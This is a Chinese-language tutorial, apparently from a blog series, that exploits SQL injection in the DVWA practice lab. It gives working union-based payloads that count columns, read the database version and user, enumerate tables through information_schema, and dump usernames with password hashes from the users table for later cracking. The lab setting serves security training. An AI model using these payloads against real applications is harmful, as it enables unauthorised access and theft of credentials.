之前的漏洞发现系列文章里,讨论了如何发现SQL注入点。这里,讨论如何利用一个注入漏洞从数据库获取信息
实践
访问 DVWA 的SQL注入页面,用火狐浏览器登陆并跳转到如下页面:
http://192.168.150.143/dvwa/vulnerabilities/sqli/然后勘察查询条件或语句,尽可能详细,number of columns its result has. ID 文本框填入任意值,点击 Submit:
-
按 F9 启动 HackBar 插件,点击Load URL:
在HackBar理,替换id参数的值为 1' order by 1 -- ' 然后点击Execute
-
附带上按指定序号字段排序的请求执行后,随着字段序号的增加,等指定的字段不存在时,就会报错,这里当字段序号为3时,就会报错:
-
现在,确定了查询的对象有两个字段,下面用 UNION 语句提取信息; 设置id的值为 1' union select 1,2 -- ' 然后点击** Execute**
-
获取 DBMS (Database Management System) 的版本和数据库用户信息,设置id的值为 1' union select @@version,current_user() -- ' 然后点击** Execute**
-
接着,查询应用的用户信息。首先,定位用户信息对应的表格,设置id的值为:1' union select table_schema, table_name FROM information_schema.tables WHERE table_name LIKE '%user%' -- '
-
如上图,database (schema)的名字是 dvwa ,table 的名字是 users。 这里只能利用两个字段First name 和 Surname 显示信息,字段有限,因此还需要先知道表格的哪个字段是有用的,设置id的值为:1' union select column_name, 1 FROM information_schema.columns WHERE table_name = 'users' -- '
-
最后,直接查询user和password字段,设置id的值为:1' union select user, password FROM dvwa.users -- '
如图, First name 字段显示的应用的用户名称,Surname字段显示对应用户名的密码hash值。把他们保存起来就可以使用字典生成工具,生成密码字典了。
总结
(1' order by 1 -- ' through 1' order by 3 -- ' )SQL 语言允许对查询结果按指定字段(通过该字段的声明序号)进行排序。通过不断增加字段序号,通过error信息确定字段总数。UNION语句连接两个具有相同字段数量的查询,通过注入这个UNION查询,几乎和可以完成一切查询操作。第一步,通过查询information_schema数据库(这里面存储着所有数据库、表、字段相关信息)获取了数据库名和表名。然后再确定表里的哪个字段是用户名和密码。最后,注入一个查询语句,从dvwa库的users表中获取所有的用户名和密码